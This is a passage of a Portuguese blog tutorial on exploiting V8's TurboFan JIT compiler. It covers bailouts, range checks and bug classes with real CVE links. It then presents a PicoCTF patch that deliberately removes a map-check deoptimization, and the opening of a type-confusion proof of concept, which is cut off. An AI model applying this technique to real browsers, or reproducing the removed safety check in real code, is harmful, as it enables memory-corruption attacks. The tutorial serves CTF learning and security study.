&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Smi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Smi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Especulando que os parâmetros &lt;code&gt;a&lt;/code&gt; e &lt;code&gt;b&lt;/code&gt; sejam sempre Smi(small integer), a função é efetivamente compilada para assembly, o código final não sera muito diferente de:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// os números aqui são tratados como double pois
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// todos os números no v8 são floats de 64 bits
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;double&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;double&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;double&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;Porem&amp;hellip; Iremos nos esbarrar em mais um problema, oque ira acontecer se executarmos algo parecido com:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100_000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora iremos para mais um subtópico importantíssimo, &lt;em&gt;Sanity checks&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&#34;sanity-checks&#34;&gt;Sanity checks&lt;/h3&gt;
&lt;p&gt;No momento em que &lt;code&gt;add&lt;/code&gt; é uma função em assembly, como iremos tratar a variação de tipos e a confusão da especulação?&lt;br&gt;
A &lt;em&gt;engine&lt;/em&gt; ira implementar os &lt;code&gt;bailout&lt;/code&gt;&amp;rsquo;s, pequenos trechos que iram validar se os inputs serão validos, e em caso negativo, a execução sera retomada para o interpretador, ou seja, &lt;em&gt;Deoptimization&lt;/em&gt;. Podemos ver alguns exemplos do que esses trechos de códigos validam como:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Smi&lt;br&gt;
valida o &lt;code&gt;pointer tag&lt;/code&gt;, logo, se o LSB for diferente de zero, o valor não se trata de um Smi.&lt;/li&gt;
&lt;li&gt;Object&lt;br&gt;
Valida se o &lt;code&gt;shape&lt;/code&gt; é o mesmo que foi especulado.&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uma validação importante salientar são as validações de &lt;code&gt;Range()&lt;/code&gt;, existem casos onde o compilador especula um valor mínimo/máximo para um inteiro, e então, só ira ocorrer &lt;em&gt;Deoptimization&lt;/em&gt; caso esse range seja invalido, exemplo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;Array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O &lt;code&gt;index&lt;/code&gt; não pode ser maior que 9(ultimo index), e para isso, é gerado um código de &lt;code&gt;bailout&lt;/code&gt; para validar isso. Porem, vamos olhar esse outro exemplo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;arr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;Array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;É impossível que &lt;code&gt;index&lt;/code&gt; seja maior que 10, pois está sendo realizado uma operação de módulo, logo, não é necessário o código de &lt;code&gt;bailout&lt;/code&gt;. Porem, nesse caso, estamos confiando em alguma previsão do compilador, se conseguirmos engana-lo, teríamos facilmente um read/write oob.&lt;/p&gt;
&lt;h2 id=&#34;bugs&#34;&gt;Bugs&lt;/h2&gt;
&lt;p&gt;Como pudermos ver, o processo de compilação e otimização é extremamente complexo e, por mais que existam diversos &lt;em&gt;sanity checks&lt;/em&gt;, contextos específicos, &lt;em&gt;build-in&lt;/em&gt;&amp;rsquo;s e &lt;em&gt;side-effect&lt;/em&gt;&amp;rsquo;s podem causar &lt;em&gt;bugs&lt;/em&gt; e confusões inesperadas. Outro ponto que torna o estudo e busca desse tipo de &lt;em&gt;bug&lt;/em&gt; muito mais atrativo é o seu uso para exploração de navegadores e o grande impacto desse tipo de vulnerabilidade.&lt;/p&gt;
&lt;p&gt;Podemos discorrer sobre alguns bugs para demonstrar algumas similaridades e seus tipos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Os links de bugs reais anexados foram colocados como referências, mas é mais recomendável terminar de ler esse artigo antes de estudar essas fontes, por se tratarem de conteúdos mais avançados&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;wrong-optimization&#34;&gt;Wrong optimization&lt;/h3&gt;
&lt;p&gt;Durante o processo de compilação, assim como em compiladores AoT(ahead-of-time) tradicionais, existe um esforço constante para otimizações, e caso seja possível, remover código não necessário, como no exemplo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se você olhar esse loop, pode perceber que todos os valores são estáticos e o resultado previsível, logo, podemos &lt;em&gt;otimizar&lt;/em&gt; esse trecho de código da seguinte forma:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// for(var i = 0; i &amp;lt; 10; i++) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//  r += i;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Porem, isso pode ocasionar bugs caso essa otimização seja feita de foram errada e alterar um valor considerado &amp;ldquo;seguro&amp;rdquo;, ou seja, o especulador pode determinar que um parâmetro sempre sera &lt;code&gt;Range(1, 5)&lt;/code&gt;, e por essa razão, não gerar &lt;code&gt;bailout&lt;/code&gt; para acessar um &lt;code&gt;Array(10)&lt;/code&gt;, mas por ocasião de um bug desse, teremos um oob.&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://bugs.chromium.org/p/chromium/issues/detail?id=1234770&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Bug real&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;side-effect&#34;&gt;Side effect&lt;/h3&gt;
&lt;p&gt;Existem casos onde &lt;em&gt;prototype&lt;/em&gt;&amp;rsquo;s e &lt;em&gt;constructor&lt;/em&gt;&amp;rsquo;s interferem na execução de um certo código, porem, isso pode ser manipulado para ser acessado uma posição não esperada em um array, por exemplo, misturando uma função compilada e um prototype de uma função genérica.&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://googleprojectzero.blogspot.com/p/cve-2020-6418-chrome-incorrect-side.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Bug real&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;type-confusion&#34;&gt;Type Confusion&lt;/h3&gt;
&lt;p&gt;Uma certa corrupção de memória ou confusão pode levar a um array ser interpretado como um objeto ou vise versa(por exemplo), e isso é o suficiente para corromper atributos como &lt;code&gt;length&lt;/code&gt; e nos levar a um read/write oob.&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Bug real&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;exploitation&#34;&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;Agora que temos uma base mais solida sobre todo contexto de compilação JIT, podemos utilizar um &lt;em&gt;challenge&lt;/em&gt; para ver tais conceitos de forma mais aplicada. Usarei um &lt;em&gt;chall&lt;/em&gt; do PicoCTF 2021, por se tratar de uma falha de complexidade não muito elevada e pode ser um bom exemplo para nosso contexto.&lt;/p&gt;
&lt;h2 id=&#34;challenge&#34;&gt;Challenge&lt;/h2&gt;
&lt;p&gt;Teremos um arquivo de &lt;a class=&#34;link&#34; href=&#34;https://github.com/harddiskbrasil/blog-browser-exploitation/blob/master/JIT-exploitation/turboflan.patch&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;patch&lt;/a&gt; para o TurboFan. A principal modificação nesse &lt;em&gt;patch&lt;/em&gt; é a remoção de certas valodações para &lt;em&gt;Deoptimization&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;--- a/src/compiler/effect-control-linearizer.cc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;&lt;/span&gt;&lt;span class=&#34;gi&#34;&gt;+++ b/src/compiler/effect-control-linearizer.cc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;&lt;/span&gt;&lt;span class=&#34;gu&#34;&gt;@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gu&#34;&gt;&lt;/span&gt;       Node* map = __ HeapConstant(maps[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;       Node* check = __ TaggedEqual(value_map, map);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;       if (i == map_count - 1) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;&lt;/span&gt;&lt;span class=&#34;gi&#34;&gt;+        // This makes me slow down! Can&amp;#39;t have! Gotta go fast!!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;&lt;/span&gt;       } else {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         auto next_map = __ MakeLabel();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         __ BranchWithCriticalSafetyCheck(check, &amp;amp;done, &amp;amp;next_map);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Desta forma, é introduzido uma falha simples de &lt;em&gt;Wrong optimization&lt;/em&gt;, fazendo com que possamos confundir Arrays de floats(64 bits) com Arrays de objetos(32 bits, &lt;a class=&#34;link&#34; href=&#34;https://harddisk.com.br/p/pt-br-browser-exploitation#objetos-e-ponteiros&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;pointer compression&lt;/a&gt;), pois em caso de divergência de &lt;em&gt;Map&lt;/em&gt;&amp;rsquo;s, a &lt;em&gt;Deoptimization&lt;/em&gt; simplesmente não ocorrerá.&lt;/p&gt;
&lt;h3 id=&#34;poc&#34;&gt;PoC&lt;/h3&gt;
&lt;p&gt;Vamos tentar fazer uma prova de conceito e explorar tal bug:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;bug&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;temp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;prop&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;1.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1.2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// float array
